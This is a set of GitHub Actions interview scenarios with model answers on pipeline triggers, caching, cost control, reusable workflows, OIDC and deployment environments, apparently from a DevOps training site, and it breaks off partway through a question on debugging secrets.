Scenario Questions
Real-world GitHub Actions situations and how to reason through them in an interview
Pipeline Design & Triggers
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q1 You join a team whose single 900-line workflow runs everything on every push to every branch. How do you restructure it?
Intermediate
Situation read โ One file, no filters, no separation of CI and CD: slow feedback, wasted minutes, and deploys mixed with tests.
What I'd do โ
- Split by purpose:
ci.yml(PR andmain: lint, test, build),cd.yml(onmain: image and deploys),release.yml(tags),nightly.yml(schedule). - Add triggers with filters:
on: pull_request: push: branches: [main] - Move repeated setup into a composite action and deploy logic into a reusable workflow.
- Add
concurrencywith PR cancellation,permissions: contents: read, andtimeout-minuteson every job. - Add a fan-in
ci-okjob and make it the only required check.
Why โ Smaller files are reviewable, PR feedback gets faster, and deploy permissions are isolated from test jobs.
Interview tip โ Say "separate by trigger and by privilege", not just "split the file".
Q2 Pushing to a PR branch runs CI twice (once for push, once for pull_request). How do you fix it?
Beginner
Situation read โ on: [push, pull_request] with no branch filters fires both events for every commit on a PR branch.
What I'd do โ
- Restrict
pushto long-lived branches and let PRs cover feature branches:on: push: branches: [main, "release/**"] pull_request: - Add
concurrencykeyed on PR number or ref so leftovers cancel.
Why โ Halves CI minutes for feature work while still validating main after merge.
Interview tip โ Mention that pull_request tests the merge commit, which is more valuable than testing the branch head alone.
Q3 Product wants a "Deploy to staging" button that lets QA pick a version. Design it.
Beginner
Situation read โ A manual, parameterized deploy with guardrails.
What I'd do โ
workflow_dispatchwith typed inputs:on: workflow_dispatch: inputs: version: { type: string, required: true, description: "Image tag, for example v1.4.0" } environment: { type: environment, required: true }- A first job validates the tag exists in ECR (
aws ecr describe-images --image-ids imageTag=$VERSION). - Call the reusable deploy workflow with
environment: ${{ inputs.environment }}, so environment rules apply (prod still needs approvers). - Write the deployed version to
$GITHUB_STEP_SUMMARY.
Why โ QA self-serves without kubectl access, and the environment layer keeps prod controlled.
Interview tip โ Use type: environment so the dropdown lists real environments and typos are impossible.
Q4 A nightly security scan should run at 02:00 India time on weekdays and also be runnable on demand. Write it.
Beginner
Situation read โ Cron is UTC; IST is UTC+5:30.
What I'd do โ
- Convert: 02:00 IST is 20:30 UTC the previous day, so weekdays Monday to Friday IST map to Sunday to Thursday UTC:
on: schedule: - cron: "30 20 * * 0-4" workflow_dispatch: - Guard against forks:
if: github.repository == 'devopsshack/shack-api'. - Notify on failure only (
if: failure()).
Why โ The day-of-week shift is the classic mistake when converting to UTC.
Interview tip โ Mention that schedules are best-effort and can be delayed at peak load, so do not use them for time-critical jobs.
Q5 Your team wants preview environments per PR on EKS, destroyed when the PR closes. Design the workflow.
Advanced
Situation read โ Lifecycle tied to PR events; must be safe for forks.
What I'd do โ
- Trigger on
pull_requesttypes[opened, synchronize, reopened, labeled, closed], run only when labelpreviewexists and the PR is from the same repo:if: github.event.pull_request.head.repo.full_name == github.repository && contains(github.event.pull_request.labels.*.name, 'preview') - Deploy job (not closed): build image tagged
pr-${{ github.event.number }},helm upgrade --install pr-123 ./chart -n preview-pr-123 --create-namespace, environmentpreviewwithurl. - Teardown job:
if: github.event.action == 'closed',helm uninstallandkubectl delete ns. concurrency: preview-${{ github.event.number }}without cancel for teardown.- A nightly job deletes namespaces whose PR is closed, in case teardown failed.
Why โ Fork PRs have no secrets, so restricting to same-repo PRs avoids failures and abuse.
Interview tip โ Always mention the garbage collector job; teardown hooks fail eventually.
Q6 Two workflows must run in sequence: CI then a separate deploy workflow owned by another team. How do you link them?
Intermediate
Situation read โ Separate files, possibly separate owners.
What I'd do โ
- Prefer making deploy a reusable workflow the CI calls as a job with
needs. One run, one graph, outputs passed directly. - If they must stay separate, use
workflow_run:on: workflow_run: workflows: ["CI"] types: [completed] branches: [main] jobs: deploy: if: github.event.workflow_run.conclusion == 'success' - Use
github.event.workflow_run.head_shato deploy exactly the CI-tested commit, and download its artifact withrun-id.
Why โ workflow_run alone triggers on failures too and runs on the default branch context, so the conclusion and SHA checks are required.
Interview tip โ Mention that workflow_run only chains up to three levels deep.
Q7 A merge queue is enabled, but PRs sit in the queue forever. What is your design fix?
Intermediate
Situation read โ Required checks never report on the queue's temporary branches.
What I'd do โ
- Add the trigger:
on: pull_request: merge_group: - Make sure job names in
merge_groupruns match the required check (fan-inci-ok). - Do not use
pathsfilters on that workflow; queue commits combine multiple PRs.
Why โ The queue waits for required checks on gh-readonly-queue/... commits, which only merge_group produces.
Interview tip โ Explain the merge queue value: it tests the combination of PRs, preventing "green PR, red main".
Q8 Your deploy job must run only for pushes to main and for v* tags, never for PRs. Write the conditions.
Beginner
main and for v* tags, never for PRs. Write the conditions.Situation read โ Routing logic at job level.
What I'd do โ
- Trigger on both:
on: pull_request: push: branches: [main] tags: ["v*"] - Gate the deploy job:
deploy: needs: build if: github.event_name == 'push' && (github.ref == 'refs/heads/main' || startsWith(github.ref, 'refs/tags/v')) - Back it with environment deployment branch policies so the YAML is not the only protection.
Why โ Defence in depth: someone can edit the YAML in a branch, but not the environment policy.
Interview tip โ "Conditions are routing, environments are enforcement."
Q9 A database migration must run once per deploy, before the app rolls out, with approval in prod. How do you model it?
Advanced
Situation read โ Ordered, gated, and must not run concurrently.
What I'd do โ
- Separate job
migratewithenvironment: prodandconcurrency: { group: migrate-prod, cancel-in-progress: false }. - Run the migration as a Kubernetes Job using the same image digest (
kubectl applythenkubectl wait --for=condition=complete job/migrate-<sha> --timeout=10m). deployhasneeds: migrate.- Migrations are backward compatible (expand and contract), so rollback of the app does not require rolling back the schema.
Why โ Approval once, ordering guaranteed by needs, no parallel migrations thanks to concurrency.
Interview tip โ Mention expand and contract; interviewers look for schema rollback awareness.
Q10 Developers complain CI takes 25 minutes. Where do you start?
Intermediate
Situation read โ Need data before optimizing.
What I'd do โ
- Pull timings:
gh run view <id> --json jobs --jq '.jobs[] | {name, startedAt, completedAt}'across 20 runs, and check queue time vs execution time. - Look for: serial jobs that could be parallel, missing caches (setup step minutes), Docker builds without layer cache, tests not sharded, a full matrix on every PR.
- Fix in order of impact: caching, parallelism with
needsgraph, test sharding with matrix, PR-only reduced matrix, cancel superseded runs. - If queue time dominates, the account's concurrency limit or self-hosted capacity is the bottleneck, not the YAML.
Why โ Queue time and run time have completely different fixes.
Interview tip โ Quote a before-and-after number from your own experience.
Q11 You need to run integration tests against Postgres and Redis in CI. How do you set it up?
Beginner
Situation read โ Service containers are the native fit.
What I'd do โ
- Declare services with health checks:
services: postgres: image: postgres:16 env: { POSTGRES_PASSWORD: test, POSTGRES_DB: app } ports: ["5432:5432"] options: --health-cmd "pg_isready -U postgres" --health-interval 5s --health-retries 10 redis: image: redis:7 ports: ["6379:6379"] - Point the app at
localhost(job on host) withenv: DATABASE_URL: postgres://postgres:test@localhost:5432/app. - Run migrations then tests.
Why โ Services start before steps and are torn down automatically; health options prevent "connection refused" races.
Interview tip โ Explain localhost vs service-name networking for host vs container jobs.
Q12 You must support Node 20, 22 and 24 on Linux, plus Node 22 on Windows only. Write the matrix.
Beginner
Situation read โ Base matrix plus a standalone extra combination.
What I'd do โ
- Define the matrix:
strategy: fail-fast: false matrix: os: [ubuntu-24.04] node: [20, 22, 24] include: - os: windows-2025 node: 22 runs-on: ${{ matrix.os }} - Use
shell: bashfor scripts so they run on Windows (Git Bash) too.
Why โ include with a combination that matches nothing adds a new leg, keeping the matrix minimal.
Interview tip โ fail-fast: false so a Windows-only failure does not hide Linux results.
Q13 Builds must be reproducible: the same commit should produce the same pipeline behaviour next month. What do you pin?
Intermediate
Situation read โ Drift comes from runner images, actions, tool versions and dependencies.
What I'd do โ
runs-on: ubuntu-24.04(not latest).- Actions pinned to SHAs with Dependabot updates.
- Tool versions explicit:
node-version-file: .nvmrc,terraform_version: 1.9.8, kubectl viaazure/setup-kubectlwithversion: v1.31.2. - Lockfiles with
npm ci,pip install --require-hashes. - Base images pinned by digest in Dockerfiles.
Why โ "Nothing changed but CI broke" is almost always one of these floating.
Interview tip โ Mention that hosted runner images update weekly; preinstalled tool versions are not a contract.
Q14 You want to run expensive E2E tests only when a PR has the run-e2e label, and re-run when the label is added. How?
Intermediate
run-e2e label, and re-run when the label is added. How?Situation read โ Needs the labeled activity type plus a condition.
What I'd do โ
- Trigger on the label event and filter on the label name:
on: pull_request: types: [opened, synchronize, reopened, labeled] jobs: e2e: if: contains(github.event.pull_request.labels.*.name, 'run-e2e') - Use a concurrency group per PR so adding another label does not run E2E twice in parallel.
- Make E2E non-required, or required through the fan-in job that treats
skippedas pass.
Why โ Labels are a cheap opt-in for expensive suites.
Interview tip โ Note that labeled fires for any label, hence the contains filter.
Q15 Leadership wants a weekly report of failed workflow runs across 50 repos. How do you build it?
Intermediate
Situation read โ Cross-repo read access and aggregation.
What I'd do โ
- Central repo with a
scheduleworkflow. - GitHub App token with
actions: readon the org's repos (actions/create-github-app-tokenwithowner: devopsshack). - Script with
gh api --paginate "repos/ORG/$r/actions/runs?status=failure&created=>=$(date -d '7 days ago' +%F)", aggregate by workflow and repo. - Write markdown to
$GITHUB_STEP_SUMMARYand post to Slack.
Why โ GITHUB_TOKEN is single-repo; an App token is the right cross-repo identity.
Interview tip โ For orgs at scale, mention streaming audit logs and Actions metrics instead of polling.
Q16 You need to run a job only when files in infra/ changed, but the workflow also has other jobs that always run. How?
Intermediate
infra/ changed, but the workflow also has other jobs that always run. How?Situation read โ Workflow-level paths would skip everything; need job-level filtering.
What I'd do โ
- A
changesjob usingdorny/paths-filterwith outputsinfra: 'true'|'false'. terraformjob:needs: changes,if: needs.changes.outputs.infra == 'true'.- Fan-in job treats
skippedas success.
Why โ Skipped jobs report as success to branch protection, skipped workflows report nothing.
Interview tip โ This is the canonical answer to "path filters vs required checks".
Q17 A flaky test fails 1 in 10 runs and blocks merges. What do you do with the pipeline?
Beginner
Situation read โ Pipeline reliability problem with a code root cause.
What I'd do โ
- Quantify: search failed runs for the test name (
gh run view --log-failed), tag it. - Quarantine: move it to a separate non-blocking job with
continue-on-error: trueand a tracking issue with an owner and date. - Fix the cause (time, ordering, shared state, network) and move it back.
- Avoid blanket retries in the pipeline; if used, retry only the specific test with the framework's retry and report retries.
Why โ Retries hide flakiness; quarantine keeps visibility while unblocking the team.
Interview tip โ "Flaky tests are bugs with an owner and a deadline."
Q18 You want CI results visible to reviewers without opening logs. What do you add?
Beginner
Situation read โ Improve signal on the PR page.
What I'd do โ
- Annotations from linters (
eslint -f @microsoft/eslint-formatter-sarifuploaded to code scanning, or problem matchers). - Test summary in
$GITHUB_STEP_SUMMARY(pass, fail, slowest tests). - Coverage comment via a
workflow_runjob (works for forks too). - Upload HTML reports as artifacts with short retention.
Why โ Reviewers see failures inline on the diff and the summary page.
Interview tip โ Mention ::error file=,line=:: annotations; it shows you know workflow commands.
Q19 A workflow must run Terraform plan on PRs and apply on merge, with the plan reviewed. Design it.
Advanced
Situation read โ Plan and apply must correspond, apply must be gated.
What I'd do โ
- PR:
terraform plan -out=tfplanwith a read-only OIDC role (sub=pull_request), post the plan text as a PR comment (viaworkflow_runfor forks), uploadtfplanis not reused because state may change. - Merge to
main: re-plan with the apply role, upload plan, then anapplyjob withenvironment: prod-infra(required reviewers) that downloads the plan artifact and runsterraform apply tfplan. concurrency: terraform-prodwith no cancel to protect state.- The apply role's trust:
repo:ORG/infra:environment:prod-infra.
Why โ Reviewers approve the exact saved plan that will be applied, and only the gated job holds write credentials.
Interview tip โ Explain why the PR plan is not applied: state can drift between PR and merge.
Q20 Your company forbids deploys on Friday after 16:00 and during incidents. How do you enforce it?
Advanced
Situation read โ Policy that must not depend on YAML in every repo.
What I'd do โ
- Use a custom deployment protection rule (a GitHub App) on the
prodenvironment that checks the change calendar and the incident tool API, then approves or rejects. - As a lighter option, a required first step in the shared reusable deploy workflow that checks the window and fails with a clear message, with a
forceinput that requires an extra environment (prod-emergency) with senior approvers. - Log every override to the summary and Slack.
Why โ Environment-level rules apply to every workflow that targets prod and cannot be removed by editing one repo's YAML.
Interview tip โ Always include a documented break-glass path; freezes without one get bypassed badly.
Speed, Caching & Cost
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q21 npm ci takes 4 minutes on every run. Fix it.
Beginner
npm ci takes 4 minutes on every run. Fix it.Situation read โ No dependency caching.
What I'd do โ
- Configure built-in caching and a lean install:
- uses: actions/setup-node@v4 with: node-version-file: .nvmrc cache: npm - run: npm ci --prefer-offline --no-audit --no-fund - Confirm "Cache restored from key: node-cache-Linux-x64-npm-
" in logs. - Make sure a run on
mainpopulates the cache so PRs inherit it.
Why โ The download cache cuts most of the time; npm ci keeps installs exact.
Interview tip โ Explain branch scoping: PR caches do not help other PRs, main caches do.
Q22 Docker builds take 12 minutes even when only one line of code changed. Speed them up.
Intermediate
Situation read โ No layer cache on ephemeral runners, likely poor Dockerfile ordering.
What I'd do โ
- Fix Dockerfile order: copy lockfile, install, then copy source.
- Use BuildKit with the GHA cache:
- uses: docker/setup-buildx-action@v3 - uses: docker/build-push-action@v6 with: cache-from: type=gha,scope=api cache-to: type=gha,mode=max,scope=api - Use
RUN --mount=type=cache,target=/root/.npm npm cifor package caches inside the build. - For images over a few GB, use
type=registrycache in ECR instead to avoid evicting the repo's other caches.
Why โ Each hosted job starts with an empty Docker daemon; without an exported cache nothing is reused.
Interview tip โ Mention mode=max for multi-stage builds.
Q23 The repo hits the 10 GB cache limit daily and hit rates are poor. What do you change?
Intermediate
Situation read โ Cache thrashing: too many large, unique caches.
What I'd do โ
gh cache list --sort size_in_bytes --limit 30to find the biggest keys.- Save caches only on
main(actions/cache/restoreeverywhere,actions/cache/savewithif: github.ref == 'refs/heads/main'). - Remove
github.shaor run IDs from keys where not needed. - Give Docker caches a
scopeand move big ones to registry cache. - Delete PR caches on PR close (
gh cache delete --ref refs/pull/N/mergein a cleanup workflow).
Why โ LRU eviction across branches throws away the useful main caches first when PRs flood the store.
Interview tip โ "Write caches on main, read them everywhere."
Q24 macOS jobs are 60% of your bill. What are your options?
Intermediate
Situation read โ macOS minutes have a 10x multiplier in private repos.
What I'd do โ
- Run macOS only where required (iOS build and signing), not for lint or unit tests that can run on Linux.
- Run the full macOS matrix on
mainand nightly, a single leg on PRs. - Cache CocoaPods, SPM and DerivedData.
- Path filter so backend changes do not trigger iOS pipelines.
- Evaluate self-hosted Mac minis or a cloud Mac provider for very high volume, including maintenance cost.
Why โ Most savings come from not running macOS at all for jobs that do not need it.
Interview tip โ Quote the multipliers: Linux 1x, Windows 2x, macOS 10x.
Q25 A job sometimes hangs and burns 6 hours. How do you stop it happening again?
Beginner
Situation read โ Default 360-minute timeout.
What I'd do โ
- Set
timeout-minuteson every job based on p95 duration times 2 (for example 20). - Add step-level timeouts on network steps and tool timeouts (
kubectl rollout status --timeout=300s,curl --max-time 30). - Add an actionlint or custom check that fails PRs adding jobs without
timeout-minutes.
Why โ A single hung job on a large runner can cost more than a week of normal CI.
Interview tip โ Mention that timeouts also free up concurrency slots, not just money.
Q26 Your PR matrix is 3 OS times 4 versions (12 jobs). How do you cut cost without losing coverage?
Advanced
Situation read โ Full coverage is needed before release, not on every PR push.
What I'd do โ
- Build the matrix dynamically: on
pull_request, Linux with the latest and oldest supported versions; onpushtomainand nightly, the full matrix.matrix: ${{ fromJSON(github.event_name == 'pull_request' && '{"os":["ubuntu-24.04"],"node":[20,24]}' || '{"os":["ubuntu-24.04","windows-2025","macos-15"],"node":[20,22,24]}') }} - Keep the fan-in check stable regardless of matrix size.
Why โ Most regressions surface on one OS and the version extremes.
Interview tip โ Show the fromJSON ternary trick; it proves fluency with expressions.
Q27 Test suite takes 30 minutes on one runner. How do you parallelize it in Actions?
Intermediate
Situation read โ Sharding across matrix legs.
What I'd do โ
- Split into shards:
strategy: fail-fast: false matrix: shard: [1, 2, 3, 4, 5, 6] steps: - run: npx jest --shard=${{ matrix.shard }}/${{ strategy.job-total }} - Upload per-shard results (
junit-${{ matrix.shard }}) and merge in a fan-in job. - Balance shards by timing data if the tool supports it.
Why โ Wall-clock drops roughly 5x; billed minutes rise slightly due to per-job overhead.
Interview tip โ Be honest that sharding trades minutes for developer time.
Q28 Every PR runs a 10-minute CodeQL scan for a docs change. Fix it.
Beginner
Situation read โ Missing path filters on a non-required analysis workflow.
What I'd do โ
- Exclude docs from the trigger:
on: pull_request: paths-ignore: ["docs/**", "**/*.md"] - If it is a required check, instead do job-level filtering so a check is still reported.
Why โ Workflow-level filters are fine for non-required workflows and save the most.
Interview tip โ Always ask "is it required?" before adding workflow-level path filters.
Q29 Builds download the same 2 GB ML model on every run. What do you do?
Intermediate
Situation read โ Large static input; cache or move it.
What I'd do โ
actions/cachekeyed on the model version:key: model-${{ vars.MODEL_VERSION }}.- If it exceeds what the cache can hold well (with other caches), host it in S3 in the same region as self-hosted runners and pull with OIDC credentials.
- For ARC runners, bake it into the runner image or a node-local volume.
Why โ Version-keyed caches never invalidate accidentally and restore in seconds.
Interview tip โ Mention the repo cache quota as a constraint on big blobs.
Q30 You want to know which workflows consume the most minutes across the org. How?
Beginner
Situation read โ Billing visibility.
What I'd do โ
- Org Settings, Billing: usage report CSV per repo and workflow, and the Actions usage metrics in org Insights.
- API:
gh api repos/ORG/REPO/actions/runs/RUN_ID/timingfor per-run billable ms by OS. - Rank by minutes times multiplier, then target the top 5 workflows.
Why โ Cost work follows a power law; a few workflows dominate.
Interview tip โ Mention measuring before and after each change.
Q31 A Go monorepo build is slow because the Go build cache is cold. Optimize.
Intermediate
Situation read โ Two caches matter: module download cache and build cache.
What I'd do โ
actions/setup-go@v5withgo-version-file: go.mod(caching on by default, keyed ongo.sum).- Set
cache-dependency-pathfor multiple modules:"**/go.sum". - Restore-only on PRs, save on
mainif cache churn is a problem.
Why โ The build cache (~/.cache/go-build) avoids recompiling unchanged packages.
Interview tip โ Know the two directories: GOMODCACHE and GOCACHE.
Q32 Small lint, format and typecheck jobs each take 40 seconds of setup for 10 seconds of work. Should you merge them?
Beginner
Situation read โ Per-job overhead dominates.
What I'd do โ
- Merge into one
static-checksjob with sequential steps, each named clearly. - Use
if: ${{ !cancelled() }}on later steps so all checks report even if one fails. - Keep long, independent suites (unit tests, build) as separate parallel jobs.
Why โ Each job pays VM allocation, checkout, setup and cache restore.
Interview tip โ "Fat jobs for tiny tasks, parallel jobs for long ones."
Q33 Artifact storage costs are climbing. What do you change?
Beginner
Situation read โ 90-day default retention on large build outputs.
What I'd do โ
- Set
retention-days: 3on intermediate artifacts, keep reports for 14. - Lower the repo or org default retention.
- Move release binaries to GitHub Releases or a registry.
- Delete old artifacts via API in bulk if needed.
Why โ Most artifacts are only useful for the next job or the next day.
Interview tip โ Distinguish artifacts (run outputs) from releases (deliverables).
Q34 Multi-arch images take 40 minutes because arm64 builds use QEMU. Fix it.
Advanced
Situation read โ Emulation is 5 to 20 times slower than native.
What I'd do โ
- Matrix over native runners:
ubuntu-24.04(amd64) andubuntu-24.04-arm(arm64). - Each leg builds and pushes by digest only (
outputs: type=image,push-by-digest=true,name-canonical=true,push=true) and uploads the digest as artifactdigest-${{ matrix.arch }}. - Merge job downloads digests and runs
docker buildx imagetools create -t $IMAGE:$TAG $IMAGE@sha256:a $IMAGE@sha256:b.
Why โ Native builds remove emulation entirely; the manifest list makes one tag serve both architectures.
Interview tip โ Name the pattern: "build by digest per platform, merge manifest".
Q35 A workflow rebuilds the same image in staging and prod deploys. What is wrong and how do you fix it?
Intermediate
Situation read โ Rebuilding per environment wastes minutes and breaks the guarantee that tested equals shipped.
What I'd do โ
- Build once in a
buildjob, output the digest. - Deploy jobs (or reusable workflow calls) use
image@digestfromneeds.build.outputs.digest. - Promotion to prod via release tag adds a tag to the existing manifest, no rebuild.
Why โ Rebuilds can pull different base images or dependencies, so prod runs something nobody tested.
Interview tip โ "Build once, deploy many, by digest."
Q36 Self-hosted runners are idle 70% of the time but queues spike at 10:00. What do you do?
Advanced
Situation read โ Static capacity sized for peak.
What I'd do โ
- Move to ARC with
minRunnerssmall andmaxRunnerssized for peak, on a node pool managed by Karpenter with spot instances for CI. - Schedule higher
minRunnersduring working hours (a CronJob that patches the scale set, or two scale sets). - Pre-pull the runner image on nodes and keep images small to reduce cold starts.
- Measure queue time from the run timing API before and after.
Why โ Autoscaling turns idle cost into burst cost, and spot cuts the burst cost further.
Interview tip โ Mention handling spot interruptions: jobs are retried by re-running, so keep jobs idempotent.
Reuse at Scale: Reusable Workflows & Actions
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q37 Forty microservice repos each have a slightly different copy of the same build workflow. How do you standardize?
Intermediate
Situation read โ Copy-paste drift; fixes do not propagate.
What I'd do โ
- Create
devopsshack/platform-workflowswith reusable workflows:build-image.yml,deploy-eks.yml,security-scan.yml, each with typed inputs and outputs. - Set the repo's Actions access to "Accessible from repositories in the organization".
- Release with semver tags and a moving
v1; consumers pin@v1(or SHA with Renovate). - Migrate repos with a scripted PR (gh CLI loop), starting with two pilot teams.
- Enforce a minimum baseline (scan workflow) through a ruleset "require workflows to pass".
Why โ One fix lands everywhere with a version bump, and governance moves to the platform team.
Interview tip โ Mention versioning and a migration plan; a central workflow without versions breaks everyone at once.
Q38 A team wants to share "checkout, setup Java, Maven cache, run Sonar" steps. Reusable workflow or composite action?
Beginner
Situation read โ A sequence of steps that should run inside the consumer's job.
What I'd do โ
- Composite action in
platform-actions/java-setup/action.yml, inputsjava-versionandsonar-token. - Consumers add it as one step and keep their own job settings and runner choice.
Why โ No need for separate runners, environments or permissions; a composite is lighter and composes with the consumer's other steps.
Interview tip โ Note the composite cannot read secrets directly, so the Sonar token is an input.
Q39 A shared reusable workflow change broke 120 pipelines on Monday. How do you prevent a repeat?
Intermediate
Situation read โ Consumers referenced @main and got an untested change.
What I'd do โ
- Stop
@mainreferences: publish semver tags; consumers use@v2or SHAs. - Add a test matrix in the workflows repo that calls each reusable workflow against sample apps on every PR.
- Release breaking changes as a new major with a migration note and overlap period.
- Canary: bump a few internal repos first via Renovate grouping.
Why โ Shared CI is production software and deserves release engineering.
Interview tip โ "We treat the platform workflow repo like a library with semver."
Q40 A called reusable workflow needs a Sonar token, an npm token and AWS access. How do you pass them?
Advanced
Situation read โ Secrets plus cloud identity across a workflow boundary.
What I'd do โ
- Declare named secrets in
workflow_call.secrets(SONAR_TOKEN,NPM_TOKEN) and pass explicitly from the caller. - No AWS secret at all: caller job grants
id-token: write, the called workflow runsconfigure-aws-credentialswith a role ARN input. - Trust policy can pin to the reusable workflow via
job_workflow_refclaim if the org customizessub.
Why โ Explicit secrets document the contract; OIDC removes the most dangerous secret.
Interview tip โ Mention why secrets: inherit is avoided across team boundaries.
Q41 You want to ensure only the central deploy workflow can assume the production AWS role, not arbitrary workflows in app repos. How?
Advanced
Situation read โ Default sub identifies the repo and environment, not the workflow file.
What I'd do โ
- Customize the OIDC subject template for the org or repos to include
job_workflow_ref:gh api -X PUT orgs/devopsshack/actions/oidc/customization/sub \ --input - <<< '{"include_claim_keys":["repo","context","job_workflow_ref"]}' - Trust policy
StringLikeonsubtorepo:devopsshack/*:environment:prod:job_workflow_ref:devopsshack/platform-workflows/.github/workflows/deploy-eks.yml@refs/tags/v*. - Keep the platform-workflows repo protected (CODEOWNERS, tag rulesets).
Why โ App teams can call the deploy workflow but cannot write their own job that assumes the prod role.
Interview tip โ This is an advanced answer; few candidates know job_workflow_ref.
Q42 You need an action that comments a Terraform plan summary on PRs and must work on Linux and Windows. Which kind?
Beginner
Situation read โ API calls, text processing, cross-platform.
What I'd do โ
- JavaScript action (
runs.using: node24) using@actions/githubto find and update an existing bot comment (avoid spam). - Bundle with ncc, commit
dist/, test with Jest and an integration workflow on both OSes.
Why โ Docker actions do not run on Windows; composite with bash scripting gets fragile for API pagination and JSON.
Interview tip โ "Update the existing comment instead of posting a new one each run" shows UX awareness.
Q43 A reusable workflow needs to return the deployed URL to the caller. How?
Beginner
Situation read โ Output mapping through two levels.
What I'd do โ
- Step output, then job output, then workflow output:
on: workflow_call: outputs: url: value: ${{ jobs.deploy.outputs.url }} jobs: deploy: outputs: url: ${{ steps.svc.outputs.url }} - Caller reads
needs.<calling-job>.outputs.url.
Why โ Each boundary needs an explicit mapping.
Interview tip โ Mention the jobs context exists only for this purpose.
Q44 Teams ask for a "golden pipeline" but still need custom test steps. How do you design for extension?
Advanced
Situation read โ Balance standardization and flexibility.
What I'd do โ
- Split the golden pipeline into stages as separate reusable workflows (build, scan, deploy) rather than one monolith.
- Teams own their test job in their repo and chain:
test(theirs) thenuses: platform/build-image.ymlthenuses: platform/deploy-eks.yml. - Offer inputs for common knobs (Dockerfile path, build args, test command), not arbitrary script injection points.
- Enforce non-negotiables (scan, provenance) inside the platform workflows and via rulesets.
Why โ Composable blocks beat one template with 40 inputs.
Interview tip โ "Paved road, not a cage."
Q45 Your JavaScript action's dist/ in a PR does not match the source. How do you prevent shipping stale bundles?
Intermediate
dist/ in a PR does not match the source. How do you prevent shipping stale bundles?Situation read โ Source and committed bundle drift.
What I'd do โ
- CI job:
npm ci && npm run build && git diff --exit-code dist/. - Optionally regenerate
dist/in a release workflow instead of by hand. - Review
dist/diffs in PRs from outside contributors carefully; that is where malicious code hides.
Why โ The runner executes dist/, not src/.
Interview tip โ Mention the supply-chain angle of reviewing bundled code.
Q46 You maintain a public action used by thousands of repos. How do you release safely?
Advanced
Situation read โ You are now part of others' supply chain.
What I'd do โ
- Protected
main, required reviews, 2FA, tag rulesets restricting who can createv*tags. - Release via workflow from
mainonly, with immutable releases enabled. - Semver tags plus moving major tag; document SHA pinning in the README.
- Minimal dependencies, Dependabot, CodeQL, and provenance attestation for
dist/. - A security policy and private vulnerability reporting.
Why โ The tj-actions compromise showed how one maintainer token can hit thousands of pipelines.
Interview tip โ Reference a real incident; it signals current awareness.
Q47 You need a step that runs a Python linter with exact dependencies in many repos. Docker action or composite?
Intermediate
Situation read โ Dependency isolation vs speed and portability.
What I'd do โ
- If Linux only, publish a prebuilt image to GHCR and a Docker action referencing
docker://ghcr.io/org/pylint-action@sha256:.... - If cross-platform or speed matters, composite with
setup-python(with cache) and a pinned requirements file shipped in the action repo.
Why โ A prebuilt image gives exact dependencies; a Dockerfile-based action rebuilds every run, which is slow.
Interview tip โ Call out "prebuilt image, not Dockerfile" for Docker actions.
Q48 Consumers of your reusable workflow need different runners (hosted for most, ARC for one team). How?
Beginner
Situation read โ runs-on must be configurable.
What I'd do โ
- Input
runnerwith default:inputs: runner: { type: string, default: ubuntu-24.04 } jobs: build: runs-on: ${{ inputs.runner }} - For label arrays, accept a JSON string and use
fromJSON(inputs.runner).
Why โ runs-on supports inputs context in reusable workflows.
Interview tip โ Mention the JSON trick for multiple labels.
Q49 A reusable workflow uses concurrency: ${{ github.workflow }} and two different callers cancel each other unexpectedly, or never serialize. Explain and fix.
Advanced
concurrency: ${{ github.workflow }} and two different callers cancel each other unexpectedly, or never serialize. Explain and fix.Situation read โ github.workflow resolves to the caller's name, so groups differ per caller (no serialization across callers) or collide if callers share names.
What I'd do โ
- Define the group from explicit inputs:
group: deploy-${{ inputs.environment }}-${{ inputs.service }}. - Put it at job level in the reusable workflow with
cancel-in-progress: false.
Why โ Deterministic group keys based on what is being protected (environment and service) are the only safe choice.
Interview tip โ "Concurrency keys should describe the resource, not the workflow."
Q50 You want all repos to get a new security scan without editing 300 repos. How?
Advanced
Situation read โ Org-wide enforcement.
What I'd do โ
- Put the scan workflow in a central repo.
- Create an org ruleset with "Require workflows to pass before merging", targeting repos by custom property (
tier: production). - Roll out in evaluate mode first, then active.
Why โ Rulesets inject the workflow into PRs of targeted repos with no per-repo YAML.
Interview tip โ Mention evaluate mode; big-bang enforcement creates angry teams.
Q51 A composite action needs to run a script file that lives inside the action repo. How do you reference it?
Beginner
Situation read โ The working directory is the consumer's workspace, not the action's.
What I'd do โ
- Use
github.action_path:- run: ${{ github.action_path }}/scripts/check.sh shell: bash - Or add it to PATH:
echo "${{ github.action_path }}/scripts" >> "$GITHUB_PATH".
Why โ Relative paths resolve against the consumer's repo and fail with "No such file".
Interview tip โ GITHUB_ACTION_PATH is the env var equivalent.
Q52 How would you migrate from Jenkins shared libraries to GitHub Actions reuse?
Advanced
Situation read โ Map concepts, not code line by line.
What I'd do โ
- Inventory library functions and group them: whole-pipeline templates become reusable workflows, step helpers become composite actions, logic-heavy helpers (API calls, reporting) become JavaScript actions.
- Replace credentials with OIDC and environments,
inputapprovals with environment reviewers, agents with hosted or ARC runners. - Migrate a pilot service, run both systems in parallel for two weeks, compare durations and failures.
- Use GitHub Actions Importer to bootstrap conversions, then clean up.
Why โ A structured mapping avoids reproducing Jenkins anti-patterns in YAML.
Interview tip โ Mention running both in parallel; it shows migration discipline.
Secrets, OIDC & Environments
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q53 You find AWS access keys stored as repo secrets in 25 repos. Plan the migration.
Intermediate
Situation read โ Long-lived keys, unknown blast radius.
What I'd do โ
- Create the GitHub OIDC provider in each AWS account (Terraform).
- Per repo and environment, create roles with trust pinned to
repo:ORG/REPO:environment:ENVand least-privilege policies. - Replace
aws-access-key-idinputs withrole-to-assume, addid-token: write. - After a green deploy, deactivate then delete the IAM user keys; check CloudTrail for any remaining usage first.
- Add an SCP or IAM policy alarm for new access keys on CI users.
Why โ OIDC removes rotation burden and leaked-key risk; credentials live about an hour.
Interview tip โ Mention checking CloudTrail before deleting keys; something always still uses them.
Q54 A developer asks to print a secret in the log "just once" to debug. What do you do instead?
Beginner
Situation read โ Debugging a credential problem without exposure.
What I'd do โ
- Check presence and shape without the value:
